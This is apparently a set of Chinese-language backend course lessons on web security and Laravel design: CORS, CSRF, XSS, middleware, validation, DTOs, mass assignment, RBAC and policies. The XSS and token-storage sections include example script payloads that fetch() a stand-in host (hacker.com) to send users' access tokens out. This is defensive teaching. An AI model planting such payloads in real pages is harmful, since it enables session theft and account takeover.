Abstract 容易變成「上帝類別」（God Class）

當團隊開始「為了共用而共用」：

「反正大家都會用到，放在 Base 裡面就好。」

Abstract Class 很容易變成這樣：

abstract class BaseLogistic {
    public function calculateFee() {}
    public function logShipment() {}
    public function notifyUser() {}
    public function retryPolicy() {}
    public function audit() {}
}

結果是：

• 子類別被迫「繼承一堆用不到的東西」

• 修改 Base Class 影響所有子類別

• 測試成本指數型上升

這直接違反了：

• SRP（單一職責原則）

• OCP（開放封閉原則）

實戰建議

設計初期：

• 先用 Interface 定義「能做什麼」

• 用組合（Service / Strategy）解決差異

重構階段：

• 當看到「多個實作類別真的有穩定重複邏輯」

• 再抽出一個「小而薄」的 Abstract Class

總結

Interface 是為了「未來的變化」， Abstract Class 是為了「已經確定不會變的部分」。

在前兩個模組，我們學會了如何設計資料庫與 API，讓系統成功地「動起來」。但隨著需求不斷變更與功能堆疊，你的程式碼是否正逐漸變成一團難以維護的「Spaghetti Code」？只要改一個小功能，就會讓整個系統壞光光？

這就是「能動的程式碼」與「好品質的程式碼」之間的巨大鴻溝。

在 Module 3 中，我們將暫時放下新技術的追求，回頭檢視程式碼的「架構體質」。我們將從現代框架的核心——依賴注入 (Dependency Injection) 與 IoC 開始，理解如何透過解耦（Decoupling）讓程式碼模組化。

接著，我們會深入探討 SOLID 設計原則，學習如何識別並消除程式碼中的「壞味道」。最後，我們將手中雜亂無章的 If/Else 邏輯與複雜的物件建立過程，透過設計模式 (Design Patterns) 進行重構。

寫程式是跟電腦對話，但寫出好架構是為了跟未來的自己（以及隊友）對話。讓我們開始這場程式碼的淨化之旅。

原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼，實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成；而以前搜尋引擎爬蟲並不會執行 JavaScript（現在google有針對爬蟲做出調整，但執行時機、資源配額與錯誤容忍度仍不保證即時與完整），導致頁面內容無法被正確索引。

為了解決這個問題，SSR（Server-Side Rendering）或預渲染逐漸成為主流做法，透過在 Server 端直接產生完整 HTML，使搜尋引擎在第一次請求時就能取得頁面內容與 SEO 相關資訊。

雖然後來有了 SSR（Server-Side Rendering）與 Nuxt/Next.js 等解決方案，但在架構上，前端（Frontend）與後端（Backend）部署在不同網域（Domain）已成常態。

這時候，後端工程師會發現：明明 Postman 測都沒問題，為什麼前端一呼叫 API 就全紅字？

這是因為 Postman 不受瀏覽器同源政策限制，真正受到 CORS 約束的，只有瀏覽器本身。

這就是我們今天要解決的兩大門神：CORS 與 CSRF。

同源政策

在講 CORS 之前，必須先理解「同源政策」。

• 什麼是「同源」？ 協議（Protocol）、網域（Domain）、埠號（Port）三者皆相同。

  • http://localhost:3000 (前端) vs http://localhost:8000 (後端) -> 不同源 (Port 不同)

  • https://api.example.com vs https://www.example.com -> 不同源 (Subdomain 不同)

• 為什麼要擋？ 為了防止惡意網站的 JavaScript 存取另一個來源的回應內容或敏感狀態。

CORS

CORS (Cross-Origin Resource Sharing)：跨域資源共享

CORS 是一種機制，它允許瀏覽器向跨源伺服器，發出 XMLHttpRequest 或 Fetch 請求。簡單來說，就是後端發放「通行證」給前端。

重點觀念：

• 簡單請求 (Simple Request)： 不會觸發 Preflight。條件嚴格（只能是 GET/HEAD/POST，且 Header 有限制）。

• 預檢請求 (Preflight Request)： 這是新手最常困惑的「為什麼我的 API 被呼叫了兩次？」。

  • 當請求包含自定義 Header（如 Authorization: Bearer ...）或方法是 PUT、DELETE 時。

  • 瀏覽器會先發送一個 OPTIONS 方法的請求，詢問後端：「你允許我帶這些 Header 嗎？你允許這個 Domain 嗎？」

  • 後端回傳 HTTP 200 OK 且帶有允許的 Header 後，瀏覽器才會發送真正的 API 請求。

後端如何處理？

• 資安警語： 千萬不要為了方便在正式環境設定 Access-Control-Allow-Origin: *，這等於門戶大開。

CSRF

CORS 是為了防止「別人讀你的資料」，而 CSRF 是為了防止「別人用你的身份做事」。

CSRF 全名是 Cross-Site Request Forgery。

攻擊手法

1. 你還沒登出銀行，接著手滑點開了一個惡意網站 evil.com。

2. evil.com 的頁面裡藏了一段程式碼 (例如一個隱藏的 Form 表單)，自動向 bank.com/transfer (轉帳 API) 發送一個 POST 請求。

3. 關鍵時刻來了：瀏覽器準備發送這個請求給 bank.com。

   • 瀏覽器檢查 Cookie 規則：這個請求的目標是 bank.com 嗎？ 是！

   • 瀏覽器檢查 Domain 設定：Cookie 的 Domain 是 bank.com 嗎？ 是！

4. 結果：瀏覽器乖乖地把 Session Cookie 帶上了。

5. 銀行 Server 收到請求，看到合法的 Session ID，以為是你本人操作的，於是轉帳成功。錢被盜走了。

問題點：Domain 屬性只檢查「目標」是不是銀行，它不管你這個請求是從「銀行首頁」按的，還是從「惡意網站」按的。只要目標對，它就給過。

小結

在傳統 MVC 時代（例如 Laravel Blade），我們很習慣在表單裡加 @csrf。但在前後端分離的架構下，情況變複雜了：

• 如果你的 API 使用 Authorization: Bearer <token>：

  • 通常存在 LocalStorage / SessionStorage。

  • 結論： 在不使用 Cookie 的前提下，瀏覽器無法自動附帶 Token，因此不構成傳統意義上的 CSRF 攻擊面。因為瀏覽器不會自動把 LocalStorage 的東西帶進 Request Header，惡意網站拿不到你的 Token，也沒辦法讓瀏覽器幫你帶，但這也是會遇到XSS攻擊。

• 如果你的 API 使用 Cookie (HttpOnly) 來存 Token：

  • 很多為了防範 XSS 的架構會選擇把 Token 存在 HttpOnly Cookie。

  • 結論： 必須防禦 CSRF。因為這又回到了瀏覽器自動帶 Cookie 的老問題。

防範手法

傳統防禦：CSRF Token (Synchronizer Token Pattern)

這是 Laravel Blade 預設的作法。

1. 後端生成一個隨機字串（Token），放在 User 的 Session 中，並傳給前端（通常放在 <meta> 或 Cookie）。

2. 前端發送請求（POST/PUT/DELETE）時，必須手動在 Header 或 Body 帶上這個 Token。

3. 後端檢查：Request 帶來的 Token == Session 裡的 Token？

   • 惡意網站雖然能發送請求（帶 Cookie），但它讀不到你網站的 Token，所以偽造的請求會因為缺少 Token 被後端拒絕。

B. 現代瀏覽器防禦：SameSite Cookie 屬性

還記得Lesson 9 提到的Cookie SameSite嗎？這是近年來最重要的更新，Google Chrome 預設已將 Cookie 的 SameSite 設為 Lax。這是在 Cookie 層級直接阻斷 CSRF。

同樣的場景，但這次 Cookie 多了一個屬性：

• session_id=12345

• Domain=bank.com

• SameSite=Strict (代表只有「在銀行網站內」的操作才能帶 Cookie)

攻擊流程：

1. 你在 evil.com，惡意程式碼再次嘗試向 bank.com/transfer 發送請求。

2. 關鍵時刻來了：

   • 瀏覽器檢查 Domain：目標是 bank.com，符合。

   • 瀏覽器檢查 SameSite：這個請求是從哪裡發起的？是 evil.com。

   • 瀏覽器判斷：evil.com 跟 Cookie 的擁有者 bank.com 不同站 (Cross-Site)。

3. 結果：因為 SameSite=Strict，瀏覽器拒絕攜帶這個 Cookie。

4. 銀行 Server 收到一個「沒有 Cookie」的請求，判定未登入，拒絕轉帳。

• Cookie：是大樓的 「門禁卡」。

• Domain (bank.com)：這張卡設定成 「只能刷銀行大樓的門」 (去刷旁邊超商的門沒反應)。

• 沒有 SameSite：歹徒在路邊拿刀抵著你 (惡意網站)，強迫你去刷銀行大樓的門。因為卡片是對的、門也是對的，門就開了。歹徒得逞。

• 有 SameSite：門禁系統升級，它不只看卡片，還看 「你從哪裡走過來的」。如果系統發現你是從「歹徒巢穴 (evil.com)」直接衝過來刷卡的，系統就會鎖死不讓你刷。你必須是從「銀行大廳 (同站)」走過來的才有效

關於XSS

Cross-Site Scripting（為了不跟 CSS 搞混，所以縮寫叫 XSS）。 駭客把「惡意的 JavaScript 程式碼」當作「一般文字內容」塞進你的網頁，當其他使用者瀏覽該頁面時，這段程式碼就會在使用者的瀏覽器上執行。 這是「信任」的問題。瀏覽器太信任伺服器回傳的內容，以為那只是普通的文字，殊不知裡面藏了刀。

這是最容易理解的 儲存型 XSS (Stored XSS) 案例：

1. 駭客留言： 駭客在你的文章下留言，內容不是「好棒棒」，而是：HTML

    <script>
      // 把使用者的 localstorage 傳送到駭客的伺服器
      fetch('<https://hacker.com/steal?token=>' + localStorage.getItem('access_token'));
    </script>
   

2. 後端儲存： 如果後端（Rookie 工程師）沒有做任何清洗，直接把這串字存進資料庫。

3. 受害者瀏覽： 當一般使用者（甚至管理者）打開這篇文章時，後端把資料庫的內容原封不動吐給前端顯示。

4. 腳本執行： 受害者的瀏覽器讀到 <script> 標籤，立刻執行。受害者的 身份資料 瞬間被傳送給駭客。

5. 帳號被盜： 駭客拿到 Session ID 或 Token，直接複製貼上，登入受害者帳號。

XSS 的兩大分類

後端如何防禦

輸出編碼 (Output Encoding / Escaping)

永遠假設資料庫裡的資料是髒的。在輸出到 HTML 之前，把特殊符號轉義。

• < 變成 <

• > 變成 >

• " 變成 "

Laravel 的做法：

• 安全： 使用 {{ $message }}。Laravel 的 Blade 引擎會自動呼叫 htmlspecialchars 函式進行轉義。瀏覽器會把 <script> 當作純文字顯示，而不會執行。

• 危險： 使用 {!! $message !!}。這告訴 Laravel：「我知道我在幹嘛，請直接輸出 HTML」。除非你確定內容絕對安全，否則嚴禁使用。

輸入過濾 (Input Sanitization)

如果你真的允許使用者輸入 HTML（例如使用 CKEditor），你就不能全擋。這時需要用白名單機制過濾。

• 工具： 使用如 HTMLPurifier 這樣的套件，只允許 <b>, <p>, <img> 等安全標籤，把 <script>, <iframe>, onclick 屬性全部洗掉。

補充

Token 儲存位置的 - LocalStorage vs HttpOnly Cookie

核心觀念對照表

攻擊情境演練

情境 A：存在 LocalStorage (怕 XSS)

• 攻擊方式： 駭客在你的網站留言版寫了一段 <script>fetch('<http://hacker.com?token='+localStorage.getItem('token>'))</script>。

• 結果： 當其他使用者瀏覽到這則留言，腳本執行，Token 直接被傳送到駭客伺服器。駭客拿到 Token 後，可以隨時隨地偽裝成該使用者，直到 Token 過期。

情境 B：存在 HttpOnly Cookie (怕 CSRF)

• 攻擊方式： 同樣的 XSS 攻擊腳本。

• 結果： 腳本執行 document.cookie，但因為有 HttpOnly 標籤，JavaScript 讀不到 Token，回傳空值。駭客偷不到 Token。

1. 大門警衛：檢查你有沒有通行證（Authentication）。

2. 安檢人員：檢查你有沒有攜帶危險物品（Input Validation/Sanitization）。

3. 禮儀官：看你是哪國人，幫你掛上對應語言的翻譯機（Localization）。

4. 記錄員：記下幾點幾分誰進去了（Logging）。

這四個角色，就是 Middleware。它們不負責「處理皇宮內的政務」（那是 Controller 的事），它們負責進出皇宮的「預處理」與「後處理」。

在技術上實現，Middleware 是一個洋蔥式(Onion Architecture)的結構：

Request  --> [ Middleware 1 ] --> [ Middleware 2 ] --> (Controller)
                                                            |
Response <-- [ Middleware 1 ] <-- [ Middleware 2 ] <--------+

預處理與後處理的過程

public function handle($request, Closure $next)
{
    // 前處理（Before Controller）

    $response = $next($request);

    // 後處理（After Controller）

    return $response;
}

為什麼我們需要它？

Bad Smell Code

// UserController.php
public function update(UpdateUserRequest $request)
{
    // 1. 檢查有沒有登入 (重複程式碼)
    if (!Auth::check()) {
        return response('Unauthorized', 401);
    }

    // 2. 檢查是不是 JSON 格式 (重複程式碼)
    if (!$request->isJson()) {
        return response('Invalid Content', 400);
    }

    // 3. 記錄 Log (重複程式碼)
    Log::info('User update profile');

    // --- 終於開始做正事 ---
    $user = Auth::user();
    $user->update($request->validated());

    return response()->json($user);
}

Modify

Route::put('/user', [UserController::class , 'update'])
     ->middleware(['auth', 'json.only', 'log.activity']);

// UserController.php
public function update(UpdateUserRequest $request)
{
    // 只剩下純粹的商業邏輯
    $user = Auth::user();
    $user->update($request->validated());

    return response()->json($user);
}

Middleware 的核心概念

六大應用場景

A. 身份驗證與授權 (Authentication & Authorization)

• 場景：確認 User 是否登入？確認 User 是否有「管理員」權限？

• 功能：如果是無效的 Token，直接在 Middleware 層擋下並回傳 401 或 403，完全不會觸發 Controller，節省資源。

B. 請求數據清洗 (Data Sanitization/Trimming)

• 場景：使用者輸入表單時，不小心多按了幾個空白鍵，或者輸入了空的字串。

• 功能：Laravel 預設就有 TrimStrings 和 ConvertEmptyStringsToNull。它像一個濾水器，把髒東西濾掉後，才交給 Controller 處理。

C. 跨來源資源共用 (CORS - Cross-Origin Resource Sharing)

• 場景：你的前端在 localhost:3000，後端在 localhost:8000，瀏覽器會擋住請求。

• 功能：Middleware 負責在 Response Header 加上 Access-Control-Allow-Origin: *，這是最典型的「隱形翻譯官」，讓瀏覽器聽得懂後端允許跨域。

D. 流量限制 (Rate Limiting)

• 場景：防止惡意爬蟲或 DDoS 攻擊，或者 API 收費限制（每分鐘只能 Call 60 次）。

• 功能：記錄 IP 的請求次數，超過限制直接回傳 HTTP 429 (Too Many Requests)。

E. 語系切換 (Localization)

• 場景：多語系網站。

• 功能：Middleware 讀取 Request Header 中的 Accept-Language (例如 zh-TW)，然後設定系統當下的 App::setLocale('zh-TW')。這樣 Controller 裡面只需寫 trans('messages.welcome')，就會自動對應到正確語言。

F. 效能監控與日誌 (Logging & Profiling)

• 場景：想知道每個 API 執行了幾秒？

• 功能：

  1. Request 進來時，記錄時間點 $startTime。

  2. $next($request) 執行後續邏輯。

  3. Response 回來時，計算 microtime() - $startTime。

  4. 如果超過 1 秒，寫入 Log 警告。

觀念釐清(ㄧ)：Middleware、Policy、Gate

這三個東西做的事情都很像，我們該如何區分呢？

我會利用：「顆粒度 (Granularity)」 與 「是否需要具體的業務資料 (Context Awareness)」

這兩個大方向來進行判斷

• Middleware (大樓警衛 - 宏觀過濾)

  • 職責：站在大門口。

  • 檢查內容：你有沒有識別證？你的 IP 是否在黑名單？你的 API Token 是不是過期了？

  • 特點：警衛不關心你要去找誰，也不關心你要去幾樓，他只管「能不能讓你進大廳」。

  • 是否依賴資料：否，通常只看 HTTP Header 或 Session。

• Gate (部門門禁卡 - 權限過濾)

  • 職責：電梯或部門入口。

  • 檢查內容：你是「管理員」嗎？你有「財務部」的權限嗎？

  • 特點：這裡開始區分角色（Role），但通常還不涉及具體的「某一份文件」。

  • 是否依賴資料：通常只依賴 User 這種全域資訊。

• Policy (保險箱鑰匙 - 微觀/資料過濾)

  • 職責：辦公桌前的最後一道鎖。

  • 檢查內容：你是這份「企劃書」的作者嗎？這張「訂單」是你們部門負責的嗎？

  • 特點：必須拿到**具體的那個物件（Model）**才能判斷。

  • 是否依賴資料：是，高度依賴具體的 Model instance。

為什麼不把 Policy 邏輯寫在 Middleware？

假設你要做一個功能：「使用者只能修改自己的文章」。

如果寫在 Middleware

要在 Middleware 裡做這件事，會遇到兩個大麻煩：

1. 重複查詢資料庫： Middleware 執行時，Controller 還沒開始跑。為了檢查權限，你必須在 Middleware 裡先 find($id) 一次文章。然後進了 Controller，為了執行業務邏輯，你可能又 find($id) 一次。這是資源浪費。

2. 解析路由參數很麻煩： Middleware 要知道現在請求的是哪篇文章，必須去解析 URL (/posts/101/edit) 抓出 101。如果路由規則改了，Middleware 的解析邏輯也要跟著改，耦合度太高。

判斷表格

觀念釐清(二)：Middleware、Request與DTO

會有這個釐清的原因是，上面有提到Middleware有一個職責是：清洗資料。

那我們上一篇文章也剛好說到 DTO 以及 FormRequest，那一樣都是資料處理，這三個又差在哪裡呢？

這其實就是：後端工程師在定義不同工具時，工具個別的職責邊界。

我們可以把這三個角色想像成工廠的流水線：

1. Middleware (清洗)：像是「高壓水柱」，不管傳送帶上是什麼原料，先全部沖洗一遍（去掉頭尾空白、空字串轉 Null）。它不關心 這是蘋果還是橘子，它只管「乾淨」。

2. Form Request (驗證)：像是「品管員」。他拿著檢查表，確認這顆「蘋果」有沒有爛掉（Validation），或者把「蘋果」削皮切塊。他很關心這是什麼業務場景。

3. DTO (傳輸)：像是「真空包裝盒」。它不負責清洗也不負責檢查，它只負責把處理好的水果，變成標準的形狀，讓後面的廚師（Service/Domain）好拿、好用。

A. Middleware：全域的、無腦的物理清潔

Middleware (如 Laravel 的 TrimStrings) 是一個全域規則。

• 特點：它不知道 email 欄位是用來幹嘛的，它只知道「凡是字串，前後不該有空白」。

• 適用場景：通用的 HTTP 協議層級處理。

  • 去除空白 (Trim)

  • 空字串轉 Null

  • HTML標籤過濾 (StripTags - 如果你的網站全站禁止 HTML)

• 它的盲點：它無法做「特定欄位」的處理（例如：把電話號碼的 拿掉）。

B. Form Request：業務相關的資料預處理

這是在 Controller 之前的業務層級處理。Laravel 的 Form Request 有一個 prepareForValidation() 方法。

• 特點：它知道現在是在「註冊」，並且知道 phone 欄位需要格式化。

• 適用場景：特定 API 的資料修整。

  • 把 0912-345-678 轉成 0912345678。

  • 把 price: "1,000" 的逗號拿掉轉成數字。

  • 這裡做的「清洗」，是為了讓後面的 Validation 更順利。

C. DTO (Data Transfer Object)：型別安全的資料容器

DTO 通常不應該包含複雜的清洗邏輯，它應該是結果的載體。

• 特點：它假設「進來的資料已經是乾淨且合法的」。

• 適用場景：將鬆散的 $request->all() 陣列，轉換成有型別提示的物件。

  • $request->input('user_id') (不知是 int 還是 string) 轉變成 public int $userId。

  • 確保傳給 Service 的參數永遠是固定的結構。

在網路世界裡，後端工程師的第一條守則是：「永遠不要相信客戶端傳來的輸入」。

過去工程師常認為：「只要使用者登入了（通過驗證），他傳來的資料就是安全的」或者「這是我們自己寫的前端 App 傳來的資料，所以可以信任」。這就是傳統的邊界防禦 (Perimeter Security) 思維——就像城堡，進了城門就沒人管你了。

但對於後端工程師來說，API 接口就是戰場的最前線，沒有所謂的「城牆內」。

無論前端做了多完美的檢查，惡意攻擊者依然可以用 curl 或 Postman 直接對你的 API 灌入垃圾數據或攻擊代碼。這堂課我們探討如何建立一道堅固的防火牆，確保進入我們系統核心（業務邏輯與資料庫）的數據是乾淨、合法且型別正確的

為什麼要用 Zero Trust 看待輸入資料？

將 Zero Trust 的哲學應用在資料驗證上，我們可以這樣理解：

• 傳統思維：

  • 「前端有寫 JavaScript 檢查 Email 格式了，後端不用再檢查一次吧？」

  • 「這是內部管理後台，只有員工會用，不用防 SQL Injection 吧？」

  • 後果：一旦前端驗證被繞過（攻擊者直接用 Postman 打 API），後端完全不設防，直接讓惡意資料長驅直入。

• 零信任思維 (Zero Trust Security)：

  • 假設前端已經淪陷：我們假設發送請求的不是你的前端 App，而是一個正在嘗試注入惡意語法的駭客。

  • 身份不代表清白：即使請求帶有合法的 JWT (Token)，代表他是「合法的使用者」，但不代表他帶來的資料是「無害的」。

  • 微觀邊界 ：每一個 API Endpoint 都是一個獨立的檢查站。不管資料從哪裡來，進入這個函式之前，必須先經過嚴格的驗證。

DTO (Data Transfer Object)

在我的開發生涯中，曾經看過有工程師 直接把 HTTP Request 的 JSON Body 整個丟進資料庫模型（Model）裡。這是極度危險的行為(大量指派漏洞）。

DTO 模式 的核心思想是：建立一個專門的物件，用來定義「這個 API 接口預期接收什麼樣的資料」。

• 沒有 DTO (危險)：

  • 客戶端傳送 { "username": "admin", "role": "superuser" }。

  • 後端直接接收並寫入資料庫 -> 一般使用者突然變成了超級管理員。

• 使用 DTO (安全)：

  • 後端定義一個 UpdateProfileDTO，裡面只有 { "username": string }。

  • 即使客戶端多傳了 role，因為 DTO 裡沒定義，系統會自動忽略或報錯。

驗證的三個層次

一個成熟的後端架構，驗證通常發生在不同階段：

Layer 1: 結構與型別驗證 (Syntactic Validation)

這是最外層的過濾，通常由 Schema Validator 處理。如果不通過，程式根本不應該進入業務邏輯。

• 檢查項目：

  • 欄位是否存在？(Required)

  • 資料型別對不對？(Is it a String, Integer, UUID?)

  • 格式對不對？(Email format, Date format ISO8601)

• 通用工具：

  • Python: Pydantic

  • Node.js/TS: Zod, Joi, class-validator

  • Go: Struct Tags (binding:"required,email")

  • JSON Schema: 跨語言的標準定義

Layer 2: 語意與邏輯驗證 (Semantic Validation)

這層涉及資料的「內容」是否合理。

• 檢查項目：

  • 數值範圍：年齡不能是負數，庫存不能小於 0。

  • 依賴關係：如果 payment_method 是信用卡，則 card_number 必填。

  • 商業規則：開始時間不能晚於結束時間。

Layer 3: 資料庫完整性驗證 (Database Integrity)

這是最後一道防線，通常涉及對資料庫的查詢。

• 檢查項目：

  • 唯一性檢查 (Unique)：這個 Email 是否已經被註冊過？

  • 關聯性檢查 (Foreign Key)：這個 product_id 是否真的存在於商品表中？

Fail Fast 原則

後端驗證的核心哲學是 Fail Fast (快速失敗)。 一旦發現資料不合法，立刻回傳 400 Bad Request 或 422 Unprocessable Entity，不要讓錯誤的資料繼續往後跑，浪費運算資源或導致更深層的錯誤（例如資料庫報錯）。

補充

關於DTO

DTO , Data transfer(to) Object。本質是「資料傳輸的載體」，它不只用來「收（Input）」資料，也非常適合用來「發（Output）」資料。

我們上面談了 DTO 如何像盾牌一樣防禦惡意輸入 (Input DTO)，但 DTO 還有另一個強大的功能：規範輸出的形狀 (Output DTO / Response DTO)。

如果我們直接把資料庫撈出來的 Model 直接 return 給前端或第三方。這會導致兩個問題：

1. 洩漏敏感資料：不小心把 password_hash、soft_delete_flag 或內部 id 傳出去。

2. 格式不符需求：資料庫存的是 created_at (Timestamp)，但對方要的是 XML 格式的 <publishedDate>。

實戰場景：整個電商網站商品 XML Feed

假設你需要生成一個 XML 檔案給 Google Merchant Center 或比價網爬蟲使用。你的資料庫結構可能很複雜，但對方要求的格式很死板。這時，你可以用 DTO 來做「結構化映射」。

情境：

• 資料庫 (DB)：products 表，欄位有 id, name, cost_price, sale_price, stock_qty, supplier_id。

• 需求 (XML)：需要 <item><title>...</title><price>...</price></item>。

使用 Output DTO 的思維：

// 這是我們定義的「模具」，不管資料庫怎麼變，輸出的格式永遠長這樣
class ProductXmlDTO
{
    public string $title;
    public float $price;
    public string $availability;

    // 透過建構子或工廠方法，把 DB Model 轉換成 DTO
    public static function fromModel(Product $product): self
    {
        $dto = new self();
        // 1. 改名 (Mapping)：DB 的 name 對應 XML 的 title
        $dto->title = $product->name;

        // 2. 邏輯轉換 (Transformation)：DB 存的是成本與售價，這裡只輸出最終售價
        $dto->price = $product->sale_price;

        // 3. 狀態判斷 (Logic)：將數字庫存轉為文字描述
        $dto->availability = $product->stock_qty > 0 ? 'in stock' : 'out of stock';

        return $dto;
    }
}

這樣做的好處

1. 解耦 (Decoupling)：如果有一天你的資料庫欄位 name 改成了 product_name，你只需要修改 DTO 的 fromModel 方法，外面的 XML 輸出完全不會壞掉。

2. 單一資料來源 (SSOT)：你可以針對不同的需求製作不同的 DTO（例如 ProductCardDTO 給手機版列表用，ProductDetailDTO 給詳情頁用），而不是讓前端自己去撈一堆不需要的欄位。

大量指派漏洞(Mass Assignment Vulnerability)

這裡我們來談談什麼是大量指派漏洞，用一個具體情境來說明：

1. 你有一個「更新使用者資料」的功能，讓使用者編輯自己的個人資訊（profile）。

2. 你提供一個 PATCH/PUT API 供前端送出更新請求。

3. 在 users table 中，你有一個 remember_token 欄位，用於實現「持久登入」。

4. 客戶端在呼叫更新 API 時，body 中不小心也包含了 remember_token。

5. 後端程式如果直接使用 $request->all() 去更新資料模型（User::update($request->all())），那麼 remember_token 就會在你完全未察覺的情況下被改寫。

這就是典型的 大量指派漏洞：

攻擊者或不小心的客戶端，只要傳入一個你沒預期要更新的欄位，就能成功覆寫你的資料。

想像你是一間銀行的員工。你刷卡通過大門（Authentication 成功），但这不代表你可以直接走進金庫搬錢。「你能做什麼？」 這就是 授權 (Authorization) 的範疇。

對於後端工程師來說，如果說 Authentication 是守大門的警衛，那麼 Authorization 就是每一扇門上的電子鎖與守門員，它決定了請求是否會被拒絕（403 Forbidden）。

核心觀念：Authentication vs. Authorization

RBAC：角色基礎存取控制 (Role-Based Access Control)

在小型專案中，你可能會寫出這樣的程式碼：

if ($user->id === 1) {
    // 允許刪除文章
}

這種寫法難以維護。當系統變大，我們需要更結構化的管理方式。這就是 RBAC。

什麼是 RBAC？

RBAC 的核心概念是：權限不直接綁定在「人」身上，而是綁定在「角色」身上。

1. User (使用者)：系統的操作者。

2. Role (角色)：一組權限的集合（例如：管理員、編輯、一般會員）。

3. Permission (權限)：具體可以執行的動作（例如：刪除文章、編輯商品）。

資料庫設計範例

一個標準的 RBAC 通常涉及五張表（或簡化為三張）：

1. users (使用者)

2. roles (角色)

3. permissions (權限) - 選用，簡單系統可直接定義在 Role 上

4. role_user (使用者與角色的關聯 - 多對多)

5. permission_role (角色與權限的關聯 - 多對多)

透過這種設計，當有新進員工時，你不需要逐一開啟 50 個功能的權限，只需將他指派為「編輯 (Editor)」角色即可。

RBAC 補充：權限粒度與層次

RBAC 核心概念是 權限不綁定個人，而是綁定角色。在實務中，RBAC 的設計還可以進一步補充以下概念：

1. Permission 粒度

• 粗粒度角色：Admin、Editor、User

  適合小型系統或權限需求單純的情境。

• 細粒度權限：例如「刪除文章」「編輯文章」「審核留言」

  好處是更靈活，角色可以組合多個細節權限，不必新增角色就能控制更多行為。

2. 層次化角色 (Hierarchical RBAC)

• 大型系統中，角色可以繼承權限。

  例如：

    User < Editor < Admin
  

• Editor 自動擁有 User 權限，Admin 擁有 Editor + User 權限

• 好處：減少重複設定，維護方便

3. 動態角色與條件權限

• 有些權限需要依情境動態授予，例如：

  • 專案負責人可以編輯專案

  • 訂單管理員可以修改自己部門的訂單

• 這通常會搭配 Policy 或 Gate 做進一步檢查

總結：RBAC 不只是 User → Role → Permission，更是一個 設計思維，可以控制粒度、層次與動態條件。

Policy 設計：將業務邏輯與控制器分離

在現代後端框架（如 Laravel, Django, NestJS）中，我們通常不會在 Controller/Service 裡面寫又臭又長的 if-else 來檢查權限。我們使用 Policy (策略模式)。

Policy 的核心目的，就是將「能不能做 (Can)」的邏輯，從「實際去做 (Do)」的邏輯中拆分出來。

這裡不看code，真的很難繼續講下去，我們來看個code 經典範例吧。

以下範例code由Laravel 12 實現。

情境：部落格文章的修改權限

假設規則如下：

1. 管理員 (Admin) 可以修改任何人的文章。

2. 作者 (Author) 只能修改「自己」寫的文章。

3. 一般人 不能修改文章。

Bad Smell Code

我們當然可以這樣寫

//Service
$post = $this->postRepository->find($postId);

if($user->role == User::ADMIN || $post->created_by == auth()->user()->id){
    $this->postRepostory->update($updateData , $post->id);
}else {
  abort(403);
}

//Repository
function update($data, $postId)
{
    return $this->model::where('id', $postId)->update($data);
}

但有些bad smell 對吧？

很明顯有：可讀性與維護性缺失，業務邏輯 和 授權邏輯 混在一起，程式碼會變得越來越長。

Modify Step

1. 新增Policy檔案

php artisan make:policy PostPolicy --model=Post
#--model=Post 可選

1. (可選)如果Model File Name沒有符合Laravel auto load

我這裡故意用Postssss當Model Name來說明

//AppServiceProvider
Gate::policy(Postssss::class, Postolicy::class);

//或者
#[UsePolicy(PostPolicy::class)]
class Postssss extends Model
{
}

1. Policy Update

public function update(User $user, Post $post)
{
   return $user->role === User::ADMIN
        || $post->created_by === $user->id;
}

或者

class PostPolicy
{
    /**
     * 在所有其他檢查之前執行
     * 如果回傳 true，則直接允許；回傳 null 則繼續往下檢查
     */
    public function before(User $user, $ability)
    {
        // 規則 1: Admin 可以修改任何人的文章
        if ($user->role === User::ADMIN) {
            return true;
        }
    }

    /**
     * 判斷 User 是否可以更新 Post
     */
    public function update(User $user, Post $post)
    {
        // 規則 2: 作者只能修改「自己」的文章
        // 規則 3: 一般人不能修改 (因為不是 Admin 也不是作者，這裡會回傳 false)
        return $user->id === $post->created_by;
    }
}

1. 修改Service

$post = $this->postRepository->find($postId);

Gate::authorize('update', $post);

$this->postRepository->update($updateData, $postId);

或

這個會回傳 在 Policy中的return

auth()->user()->can('update' , $post);

或

這個會回傳 Auth/Access/Response

$response = Gate::inspect('update' , $post)
$response->allowed()

業務邏輯與權限邏輯分離比較

常見陷阱

隱藏不等於後端安全： 不要以為在前端把「刪除按鈕」藏起來，駭客就刪不掉資料。後端 API 每一支 修改資料的接口都必須有 Authorization 檢查。

1. IDOR (Insecure Direct Object References)： 這是最常見的漏洞。例如 API 是 GET /orders/1234，如果後端只檢查「使用者是否登入」，而沒檢查「訂單 1234 是否屬於該使用者」，那麼惡意使用者可以遍歷 ID 偷看別人的訂單。Policy 就是防止 IDOR 的最佳防線。

2. 超級管理員 (Super Admin)： 設計 Policy 時，可以設計一個 before 過濾器，讓 Super Admin 繞過所有檢查，避免你在開發時把自己鎖在外面。